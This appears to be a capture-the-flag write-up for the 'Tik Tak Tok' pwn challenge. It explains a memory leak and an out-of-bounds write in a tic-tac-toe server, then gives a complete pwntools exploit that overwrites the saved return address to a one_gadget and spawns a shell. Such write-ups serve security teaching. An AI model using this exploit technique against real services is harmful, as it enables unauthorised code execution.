Writeup by azerloc for Tik Tak Tok

pwn x86/x64

March 7, 2024

Blind test

Even though the source code is provided let’s start with a blind run. First, we get prompted for a name :

$ ./tiktaktok
Hello Player! Welcome to the Tik-Tak-Tok Game Server!
What is your player name?
>>> 

Let’s try to input a very large value with some format character to test for format string and buffer overflow.

What is your player name?
>>> AAAAAAA%xAAAAAAAAAAA%x%AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Note: to play a move, enter the position, for instance: 0 0
            j=0   j=1   j=2  
             |     |     |   
             v     v     v   
          +-----+-----+-----+
          |     |     |     |
 i = 0 -> |     |     |     |
          |     |     |     |
          +-----+-----+-----+
          |     |     |     |
 i = 1 -> |     |     |     |
          |     |     |     |
          +-----+-----+-----+
          |     |     |     |
 i = 2 -> |     |     |     |
          |     |     |     |
          +-----+-----+-----+



AAAAAAA%xAAAAAAAAAAA%x%AAAAAAAAA@¥x;3} to play.
>>>

There doesn’t seem to be any overflow nor format string exploit, but we can see that some characters @¥x;3} leaked, probably due to the lack of a null byte termination. We can also see that multiple moves were played, probably due to the disregarded part of our input being fed to the subsequent inputs of the program. Now let’s consider our second input. We have to give 2 coordinates i and j in order to play. They are supposed to go from 0 to 2, let’s see what happens if we go out of bound…

AAAAAAA%xAAAAAAAAAAA%x%AAAAAAAAA@¥x;3} to play.
>>> 10 10
            j=0   j=1   j=2  
             |     |     |   
             v     v     v   
          +-----+-----+-----+
          |     |     |     |
 i = 0 -> |     |     |  X  |
          |     |     |     |
          +-----+-----+-----+
          |     |     |     |
 i = 1 -> |     |     |  X  |
          |     |     |     |
          +-----+-----+-----+
          |     |     |     |
 i = 2 -> |     |     |     |
          |     |     |     |
          +-----+-----+-----+



AAAAAAA%xAAAAAAAAAAA%x%AAAAAAAA@¥x;3} to play.
>>> 

We can see that there is no complaint. Let’s try to input a very large value to see if the program crashes. If it does, we are probably writing something at a wrong place in memory, and we could thus use this bug to write “something” in a specified relative address.

>>> 10000000000000000 100000000000000000 
zsh: segmentation fault (core dumped)  ./tiktaktok

Ok, interesting, now let’s take a look at the source code to see more clearly what the program does.

Understanding the bugs with source code

Let’s take a look at the snippets of code responsible for the input handling :

typedef struct game {
	int8_t board[3][3];
	uint32_t nbMoves;
	uint8_t name[32];
} game_t;
	/* Get username */
	printf("Hello Player! Welcome to the Tik-Tak-Tok Game Server!\n");
	printf("What is your player name?\n");
	printf(">>> ");

	(void)read(0, g.name, 32);  // <--- g is of type game_t
	g.name[strcspn((char *)g.name, "\n")] = 0;

	printf("Note: to play a move, enter the position, for instance: 0 0\n");

	g.nbMoves = 0;
				/* Gets position (i, j) */
				printBoard(g);
				printf("\n");
				printf("%s to play.\n", g.name);
				printf(">>> ");
				scanf("%ld %ld", &i, &j);

				g.board[i][j] = g.nbMoves;
				player ^= 1;

First for the player name we can see that the program is reading 32 characters from stdin storing it in a uint8_t buffer of 32 bytes. No overflow here. After that, it looks for the '\n' character in order to replace it with a null byte.

Since there is no '\n' at the end of our 32 character input, the string isn’t null byte terminated, and we leak the content of the memory just after name with the line printf("%s to play.\n", g.name);. This could be useful to leak some valuable addresses, but for now we don’t know if the content leaked is useful.

For the second input related to the player move, we can see that scanf takes 2 int64_t i and j before writing g.nbMoves (& 0xff because g.board is a int8_t array) into g.board[i][j] without checking if i and j are out of bound.

Now let’s take a look at what g.nbMoves is used for…

	g.nbMoves = 0;
	do { /* Create new games */

		memset(g.board, -1, sizeof(g.board));

		/* The user plays first */
		user = 1 ^ (g.nbMoves & 1);
		computer = 1 ^ user;
		player = user;

		do { /* One game */

			/* The user is playing */
			if (player) {

				/* Gets position (i, j) */
				printBoard(g);
				printf("\n");
				printf("%s to play.\n", g.name);
				printf(">>> ");
				scanf("%ld %ld", &i, &j);

				g.board[i][j] = g.nbMoves;
				player ^= 1;

			/* Computer to play: random move */
			} else {

				/* Get a random cell empty */
				do {
					i = rand() % 3;
					j = rand() % 3;
				} while(g.board[i][j] != -1);

				/* Play (i, j) */
				g.board[i][j] = g.nbMoves;
				player ^= 1;
			}

			g.nbMoves++;
			winner = hasWinner(g);
			full = isFull(g);

		} while( (winner == -1) && !full );

		printBoard(g);

		if (winner == -1) {
			printf("This is a draw.\n");
		} else {
			if ( (winner ^ computer) & 1) {
				printf("Congratulations, you won the game!\n");
			} else {
				printf("The random computer has won the game!\n");
			}
		}

		printf("Do you want to play again? [y/n]\n");
		printf(">>> ");
		do {
			c = getchar();
		} while(!((c == 'y') || (c == 'n')));

		(void)getchar();

	} while(c == 'y');

As we could expect from the name, g.nbMoves counts the number of the current move. Furthermore, we can see that replaying the game doesn’t reset g.nbMoves to 0 (g.nbMoves = 0; is outside the loop)

Checking in the debugger

For this, I will be using radare2.

Leak libc

I first set a breakpoint just after the call read, start the execution and input exactly 32 characters. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.

|           0x557909125168      e8f3feffff     call sym.imp.printf     ;[5] ; int printf(const char *format)                    
           0x55790912516d      ba20000000     mov edx, 0x20           ; 32                                                     
           0x557909125172      4889de         mov rsi, rbx                                                                     
           0x557909125175      31ff           xor edi, edi                                                                     
           0x557909125177      e804ffffff     call sym.imp.read       ;[6] ; ssize_t read(int fildes, void *buf, size_t nbyte) 
           0x55790912517c b    488d355c0f00.  lea rsi, [0x5579091260df]    ; "\n"                                              
> dc
Hello Player! Welcome to the Tik-Tak-Tok Game Server!
What is your player name?
>>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
INFO: hit breakpoint at: 0x55790912517c
> xr @rsp
0x7ffdb6637590 ..[ null bytes ]..   00000000 rsp
0x7ffdb66375b0 0xffffffffffffffff   ........
0x7ffdb66375b8 0x00000000b66375ff   .uc..... 3059971583
0x7ffdb66375c0 0x4141414141414141   AAAAAAAA @ rbp ascii ('A')
0x7ffdb66375c8 0x4141414141414141   AAAAAAAA ascii ('A')
0x7ffdb66375d0 0x4141414141414141   AAAAAAAA ascii ('A')
0x7ffdb66375d8 0x4141414141414141   AAAAAAAA ascii ('A')
0x7ffdb66375e0 0x00007b8ef8761540   @.v..{.. /home/az/Documents/Hacking/Pwn/Tiktaktok/ld-2.28.so library R X 'push rbp' 'ld-2.28.so'
0x7ffdb66375e8 ..[ null bytes ]..   00000000 
0x7ffdb66375f0 0x00005666d4421ad0   ..B.fV.. /home/az/Documents/Hacking/Pwn/Tiktaktok/tiktaktok .text __libc_csu_init sym.__libc_csu_init program R X 'push r15' 'tiktaktok'
0x7ffdb66375f8 0x00005666d4421480   ..B.fV.. /home/az/Documents/Hacking/Pwn/Tiktaktok/tiktaktok .text entry0,_start entry0 program R X 'xor ebp, ebp' 'tiktaktok'
0x7ffdb6637600 0x00007ffdb66376f0   .vc..... [stack] stack R W 0x1
0x7ffdb6637608 ..[ null bytes ]..   00000000 
0x7ffdb6637618 0x00007b8ef85b309b   .0[..{.. TELESCOPE DOESN'T SHOW IT HERE BUT THIS IS A LIBC ADDRESS AS WE CAN SEE WITH THE dm COMMAND
...
> dm
...
0x00007b8ef858f000 - 0x00007b8ef85b1000 - usr   136K s r-- /home/az/Documents/Hacking/Pwn/Tiktaktok/libc-2.28.so /home/az/Documents/Hacking/Pwn/Tiktaktok/libc-2.28.so
0x00007b8ef85b1000 - 0x00007b8ef86f9000 - usr   1.3M s r-x /home/az/Documents/Hacking/Pwn/Tiktaktok/libc-2.28.so /home/az/Documents/Hacking/Pwn/Tiktaktok/libc-2.28.so
...

We can see our name on the stack along with other values such as g.board(0xffffff…) at 0x7ffdb66375b0 and g.nbMoves at 0x7ffdb66375bc. For our goal, there are 2 interesting addresses :

0x7ffdb66375e0 0x00007b8ef8761540   @.v..{.. /home/az/Documents/Hacking/Pwn/Tiktaktok/ld-2.28.so library R X 'push rbp' 'ld-2.28.so'
...
0x7ffdb6637618 0x00007b8ef85b309b   .0[..{.. TELESCOPE DOESN'T SHOW IT HERE BUT THIS IS A LIBC ADDRESS AS WE CAN SEE WITH DM

Leaking the first address of ld is easy, we already did it actually by filling the buffer. On a same computer, for multiple execution of the same program, the offset between ld and libc is constant afaik meaning we can use ld to find libc. That being said, the offset on my machine isn’t necessary the same as on the target machine, thus we will have to put in extra effort in order to leak the second address to libc.

How could we achieve this? We could fill the null bytes “holes” using the g.board bug so that printf("%s") reaches the libc address.

Saved RIP

Finally, let’s see where the saved RIP is by setting a breakpoint on ret (of the main function) then play the game until we finish (by declining the replay).

Congratulations, you won the game!
Do you want to play again? [y/n]
>>> n
Bye bye.
INFO: hit breakpoint at: 0x63479326247c
> xr @rsp
0x7ffdb6637618 0x00007b8ef85b309b   .0[..{.. @ rsp
...

So the saved RIP was actually the libc address from earlier. Let’s check what the distance is between our g.board and the saved RIP… (the address of g.board here is 0x7ffdb66375b0. We know this because it is a 9 bytes array filled with -1 or 0xff seen in the previously displayed stack at the start of a game.)

0x7ffdb6637618-0x7ffdb66375b0 = 104

Summary

What we can do

  • We can leak memory and find libc’s base address with the display of g.name
  • We can write g.nbMoves & 0xff anywhere in memory relative to g.board
  • We can control g.nbMoves by keeping track of the number of moves performed

Issues

Only even

When we can perform a move, g.nbMoves is always even because it is increased on our turn and on the computer’s turn, which prevents us from writing odd bytes.

By looking at the source code, we could think of a way to always be the one playing by putting a value different from 0 or 1 into the player variable using our g.board bug :

		user = 1 ^ (g.nbMoves & 1);
		computer = 1 ^ user;
		player = user;

		do { /* One game */

			/* The user is playing */
			if (player) {

				/* Gets position (i, j) */
				printBoard(g);
				printf("\n");
				printf("%s to play.\n", g.name);
				printf(">>> ");
				scanf("%ld %ld", &i, &j);

				g.board[i][j] = g.nbMoves;
				player ^= 1;

			/* Computer to play: random move */
			} else {

				/* Get a random cell empty */
				do {
					i = rand() % 3;
					j = rand() % 3;
				} while(g.board[i][j] != -1);

				/* Play (i, j) */
				g.board[i][j] = g.nbMoves;
				player ^= 1;
			}

			g.nbMoves++;
			winner = hasWinner(g);
			full = isFull(g);

		} while( (winner == -1) && !full );

Indeed, the value of player is updated by XORing it with 1 and the condition for our turn is if(player). It is supposed to switch between 0 and 1 but if we put something else like say 2 the value will now switch between 2 and 3 (because 0x10 ^ 0x01 = 0x11 and 0x11 ^ 0x01 = 0x10) this way it would always be our turn!

It’s a good idea, but let’s take a look inside the debugger :

// Start of one game loop
           0x6347932621d0      4584ff         test r15b, r15b                                                                                  
       ┌─< 0x6347932621d3      0f84bf010000   je 0x634793262398                                                                                
          0x6347932621d9      ff742448       push qword [var_48h]                                                                             
          0x6347932621dd      4531ff         xor r15d, r15d 
...
    │╎╎    0x6347932623f0      41bf01000000   mov r15d, 1

Here we can see that not only is player stored in a register (r15) that we can’t directly write to with our g.board bug, but it isn’t even XORed with 1. It is simply set to 0 xor r15d, r15d then set to 1 mov r15d, 1.

Ok, maybe we can still do something even while being limited to writing even bytes…

Null byte in leak

There could be a null byte in the leak. If this happens, we won’t get the full address leaked. In such a case, we will just rerun the exploit until it stops happening.

One gadget

Now what should we return to? First, NX is enabled so we can’t execute shellcode. Second, we can only write even bytes in the saved RIP but remember that the address currently in saved RIP is already pointing towards libc therefore we only require for the least significant bytes to be overwritten to the desired address if we opt for a ret2libc.

We could return to system, but the address of system is odd (0x449c3). Maybe there is a one gadget with an even address?

$ one_gadget libc-2.28.so
0x4484f execve("/bin/sh", rsp+0x30, environ)
constraints:
  address rsp+0x40 is writable
  rax == NULL || {rax, "-c", r12, NULL} is a valid argv

0x448a3 execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

0xe5456 execve("/bin/sh", rsp+0x60, environ)
constraints:
  [rsp+0x60] == NULL || {[rsp+0x60], [rsp+0x68], [rsp+0x70], [rsp+0x78], ...} is a valid argv

Yes, we can see that the last one at 0xe5456 has only even bytes for the least significant 2 bytes 0x54 0x56 (the 12 LSBs are not subject to ASLR). We will just have to be make sure that [rsp+0x60] is NULL, but this isn’t an issue since 0 is even. Actually, it is not even required.

The plan

  • Leak the libc address (the base or just the address currently in saved RIP)
  • Overwrite the least significant bytes of the saved RIP for it to point towards our one gadget
  • Overwrite [rsp+0x60] with NULL

To overwrite those bytes correctly, we will have to keep track of the value of g.nbMoves. For example, to overwrite [rsp+0x60] with NULL we would write to [rsp+0x60] when g.nbMoves=0x100. Then we play and restart the game (if necessary) until g.nbMoves=0x200 to write the second null byte in [rsp+0x61] etc.

Execution

Calculating offsets

First, let’s find the distance between the saved RIP (a libc address) and our one gadget (the data used here are found in the debugging section).

>>> hex((0x00007b8ef858f000+0xe5456)-0x00007b8ef85b309b)  #one gadget - savedRIP
'0xc13bb'
>>> 

We can see with the second line that we would only need to overwrite the 3 least significant bytes most of the time, with some edge cases where the result of savedRIP + 0xc13bb would require 4 bytes. But remember, the fewer the bytes we write, the smaller the chances of having an odd byte to write.

Pwntools python script

Here is our exploit…

from pwn import *

#Init
filepath = "./tiktaktok"
context.binary = elf = ELF(filepath, checksec=False)

#Pwn
def fillTheNullHolesToLeak(): #Very sensible to recv, skip some input if done wrong
    global nbMoves
    p.recvuntil(b">>> ")
    p.sendline(b"A"*32) #fill the name buffer
    p.recvuntil(b">>> ")
    p.sendline(b"0 0") #first value we write is 0 thus this null byte doesn't fill the "holes" next ones will
    p.recvuntil(b">>> ")
    nbMoves+=2
    for hole in range(48,104):

        p.sendline(f"0 {hole}".encode())
        ret = p.recvuntil(b">>> ")
        if b"Do you want to play again? [y/n]" in ret:
            p.sendline(b"y")
            p.recvuntil(b">>> ")
        nbMoves+=2
    libc_leak = ret[-6-14:-14] + b"\x00"*2
    libc_leak = u64(libc_leak)
    gadget = libc_leak+0xc13bb
    if (gadget & 0xfff == 0x456):
        log.success(f"[leak] gadget at {hex(gadget)}")
    else:
        log.failure(f"The leak is wrong due to null byte in the address. Rerunning the exploit... ({hex(gadget)})")
        p.close()
        main()
        exit()

    if ((gadget & 0xff0000) >> 8*2) % 2 == 1:
        log.failure(f"3th byte is odd. Rerunning the exploit...")
        p.close()
        main()
        exit()

    if (gadget & 0xff000000 != libc_leak & 0xff000000):
        if ((gadget & 0xff000000) >> 8*3) % 2 == 1:
            log.failure(f"4th byte has been changed and is odd. Rerunning the exploit...")
            p.close()
            main()
            exit()
        gadgetLSB = {
                        107:(gadget & 0xff000000)>>8*3,
                        106:(gadget & 0xff0000)>>8*2,
                        105:(gadget & 0xff00)>>8,
                        104:gadget & 0xff
                    }
    else:
        gadgetLSB = {
                        106:(gadget & 0xff0000)>>8*2,
                        105:(gadget & 0xff00)>>8,
                        104:gadget & 0xff
                    }

    return gadgetLSB

def overwriteBytes(bytesToWrite, msg="Overwriting RIP"):
    global nbMoves
    prog = log.progress(msg)
    overwritten=0
    status = ["XX"]*len(bytesToWrite)
    while overwritten != len(bytesToWrite):
        if nbMoves&0xff in bytesToWrite.values():
            for i, key in enumerate(bytesToWrite):
                if bytesToWrite[key] == nbMoves&0xff:
                    p.sendline(f"0 {key}".encode())
                    overwritten+=1
                    status[i] = "{:02x}".format(bytesToWrite[key])
                    prog.status("".join(status)+f" {overwritten}/{len(bytesToWrite)}")
                    #prog.status("".join(status[:len(bytesToWrite)-8])+" "+"".join(status[len(bytesToWrite)-8:])+f" {overwritten}/{len(bytesToWrite)}")
                    bytesToWrite[key]=-1
                    break
        else:
            p.sendline(b"0 0")
        ret = p.recvuntil(b">>> ")
        if b"Do you want to play again? [y/n]" in ret:
            p.sendline(b"y")
            p.recvuntil(b">>> ")
        nbMoves+=2
    prog.success("".join(status)+" completed")
    #prog.success("".join(status[:len(bytesToWrite)-8])+"  "+"".join(status[len(bytesToWrite)-8:])+" completed")

def main():
    global p
    global nbMoves
    #p = elf.process()
    p = remote("localhost", 4000)

    nbMoves=0
    bytesToWrite = fillTheNullHolesToLeak()
    #bytesToWrite.update({              #not needed
    #                104+0x67: 0x00,
    #                104+0x66: 0x00,
    #                104+0x65: 0x00,
    #                104+0x64: 0x00,
    #                104+0x63: 0x00,
    #                104+0x62: 0x00,
    #                104+0x61: 0x00,
    #                104+0x60: 0x00
    #                })
                        
    overwriteBytes(bytesToWrite)
    #Play 0 0 until the current game end in order to exit main
    while True:
        p.sendline(b"0 0")
        ret = p.recvuntil(b">>>")
        if b"Do you want to play again? [y/n]" in ret:
            p.sendline(b"n")
            p.recv()
            break
    log.success("Enjoy your shell :)")

    p.interactive()
main()

(The original exploit script wasn’t this fancy)

The first function fillTheNullHolesToLeak does as it implies. It first fills the “holes” by filling the space between g.name and the libc address. After that, based on the leaked address, it calculates the address of the one gadget. It also performs different checks to verify if the leaked address seems correct and if there are no odd bytes to write to restart the exploit if needed. Then it returns the bytes to write and their location in a dict. All of that while keeping track of the value of g.nbMoves.

The second function overwriteBytes takes a dictionary with the locations as keys and bytes as values. It will keep track of the value of g.nbMoves, play until its value is equal to one of the bytes we want to write somewhere and when one of these value is reached it will write the byte at the desired place until all the bytes are written.

When the saved RIP and [rsp+0x60] are overwritten it continues to play until the current game is finished and at that point it will decline the replay, resulting in the main function returning to our one gadget.

We should now have a shell :)

And here is the result :

[+] Opening connection to localhost on port 4000: Done
[+] [leak] gadget at 0x76d46d7ed456
[+] Overwriting RIP and [RSP+0x60]: 7ed456  0000000000000000 completed
[+] Enjoy your shell :)
[*] Switching to interactive mode
Bye bye.
$ ls
flag.txt
tiktaktok
$ cat flag.txt
FCSC{30c82c13acfe7b0d25f8cbfbf20b7a77b2d2025a35dd582f4ead777fa3ad3a5c}
$  

Conclusion

With the fillTheNullHolesToLeak function we filled (using g.board) the red part so that printf leaks the address in blue by printing the whole purple part.

filling

Then with overwriteBytes we overwrote the saved RIP with the gadget address.

overwrite

And we finally got a shell.

shell

—-| AzErLoc